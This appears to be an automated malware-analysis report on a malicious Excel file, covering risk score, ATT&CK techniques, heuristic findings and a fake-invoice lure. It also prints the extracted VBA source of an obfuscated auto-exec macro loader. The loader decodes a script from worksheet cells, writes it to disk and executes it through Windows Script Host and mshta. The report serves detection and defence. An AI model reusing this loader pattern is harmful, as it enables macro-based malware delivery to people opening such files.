MALICIOUS
264
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is an Excel document containing an obfuscated VBA macro loader. The macro executes a script named '//klWorkbook.sct' using 'mshta.exe' and 'Wscript.Shell', which is likely responsible for downloading and executing a second-stage payload. The presence of a fake remittance advice in the document body suggests a lure to trick the user into enabling macros.
Heuristics 9
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Next klClipboardFormatObjectDesc With CreateObject(Cells(133, 115)) .CreateTextFile(klThick).Write (klExcel4) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Next klClipboardFormatObjectDesc With CreateObject(Cells(133, 115)) .CreateTextFile(klThick).Write (klExcel4) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Attribute VB_Customizable = True Sub WorkBook_Open() For Each klClipboardFormatObjectDesc In ActiveWorkbook.Sheets(CStr(Cells(135, 131))).Range(CStr(Cells(216, 59))) -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
For Each klClipboardFormatObjectDesc In ActiveWorkbook.Sheets(CStr(Cells(135, 131))).Range(CStr(Cells(216, 59))) klThick = Environ(Cells(148, 101)) & Cells(133, 105) If klClipboardFormatObjectDesc.Value <> 0 Then -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Reference to mshta.exe high SC_STR_MSHTAReference to mshta.exe
-
Fake invoice / payment lure low SE_INVOICE_LUREDocument contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1190 bytes |
SHA-256: e3ef542e2dd88e810bb82afbfb472de0949b75b382608548407b45e04e88ad3a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
For Each klClipboardFormatObjectDesc In ActiveWorkbook.Sheets(CStr(Cells(135, 131))).Range(CStr(Cells(216, 59)))
klThick = Environ(Cells(148, 101)) & Cells(133, 105)
If klClipboardFormatObjectDesc.Value <> 0 Then
klExcel4 = klExcel4 & Chr(klClipboardFormatObjectDesc.Value - 1300)
End If
Next klClipboardFormatObjectDesc
With CreateObject(Cells(133, 115))
.CreateTextFile(klThick).Write (klExcel4)
End With
With CreateObject(Cells(72, 102))
.Exec Cells(126, 112) & klThick
End With
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.